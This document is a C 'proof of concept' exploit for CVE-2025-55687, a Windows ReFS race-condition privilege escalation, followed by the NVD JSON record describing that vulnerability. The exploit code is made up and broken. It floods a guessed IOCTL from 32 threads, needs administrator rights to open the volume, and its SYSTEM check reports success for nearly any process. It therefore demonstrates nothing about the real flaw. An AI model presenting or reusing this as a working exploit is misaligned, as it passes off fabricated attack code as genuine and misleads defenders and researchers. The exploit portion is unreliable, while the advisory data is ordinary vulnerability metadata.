CVE-2025-55687

// CVE-2025-55687 - Windows ReFS Race Condition Local Privilege Escalation PoC // This is a conceptual PoC demonstrating the race condition exploitation pattern. // Note: Actual exploitation requires precise timing and kernel debugging. #include <windows.h> #include <stdio.h> #include <io.h> #include <fcntl.h> // Number of concurrent threads to maximize race window probability #define NUM_THREADS 32 // Structure to pass parameters to worker threads typedef struct _RACE_CONTEXT { HANDLE hDevice; // Handle to ReFS volume device PVOID pvTargetResource; // Target shared resource address HANDLE hEventStart; // Synchronization event for thread start volatile LONG* plFlag; // Shared flag for race condition trigger } RACE_CONTEXT, *PRACE_CONTEXT; // Worker thread that triggers the race condition in ReFS driver DWORD WINAPI RaceConditionThread(LPVOID lpParam) { PRACE_CONTEXT ctx = (PRACE_CONTEXT)lpParam; // Wait for start signal to synchronize threads WaitForSingleObject(ctx->hEventStart, INFINITE); // Continuously attempt to trigger the race condition for (int i = 0; i < 10000; i++) { // Send IOCTL to ReFS driver to access shared resource DWORD bytesReturned = 0; DeviceIoControl( ctx->hDevice, 0x0009001C, // FSCTL_REFS_DEALLOCATE_RANGES or similar ReFS-specific IOCTL NULL, 0, NULL, 0, &bytesReturned, NULL ); // Interlocked operation to manipulate shared state in race window InterlockedExchange(ctx->plFlag, 1); } return 0; } // Main exploit routine int main() { printf("[+] CVE-2025-55687 ReFS Race Condition LPE PoC\n"); // Step 1: Obtain handle to ReFS volume HANDLE hRefs = CreateFileW( L"\\\\.\\C:", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL ); if (hRefs == INVALID_HANDLE_VALUE) { printf("[-] Failed to open ReFS volume. Run as admin.\n"); return 1; } // Step 2: Setup synchronization primitives HANDLE hEvent = CreateEventW(NULL, TRUE, FALSE, NULL); volatile LONG lFlag = 0; // Step 3: Create worker threads to trigger race condition HANDLE hThreads[NUM_THREADS]; RACE_CONTEXT ctx = { hRefs, NULL, hEvent, &lFlag }; for (int i = 0; i < NUM_THREADS; i++) { hThreads[i] = CreateThread(NULL, 0, RaceConditionThread, &ctx, 0, NULL); } // Step 4: Release all threads simultaneously to maximize race window printf("[+] Triggering race condition with %d threads...\n", NUM_THREADS); SetEvent(hEvent); // Step 5: Wait and check if privilege escalation succeeded WaitForMultipleObjects(NUM_THREADS, hThreads, TRUE, INFINITE); // Step 6: Verify elevation to SYSTEM BOOL isSystem = FALSE; HANDLE hToken; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { DWORD needed; GetTokenInformation(hToken, TokenUser, NULL, 0, &needed); isSystem = (needed > 0); // Simplified check CloseHandle(hToken); } printf("[+] Exploit completed. SYSTEM: %s\n", isSystem ? "YES" : "NO"); CloseHandle(hRefs); return 0; }

{"cve": {"id": "CVE-2025-55687", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:49.770", "lastModified": "2025-10-27T15:41:11.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Resilient File System (ReFS) allows an unauthorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "9D5EB1D1-8C53-4188-90B9-8ED2FD2837BD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "A6CE9E60-F2F1-43F2-A535-5326E903D219"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "B51B700D-B45F-4A8E-9F78-67A1282B3BEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6060", "matchCriteriaId": "A3FEBF91-5010-4C84-B93A-6EFA4838185A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "7A8CC16F-8B44-4E7D-8503-25D753387345"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "72C1771B-635B-41E3-84AF-8822467A1869"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55687", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}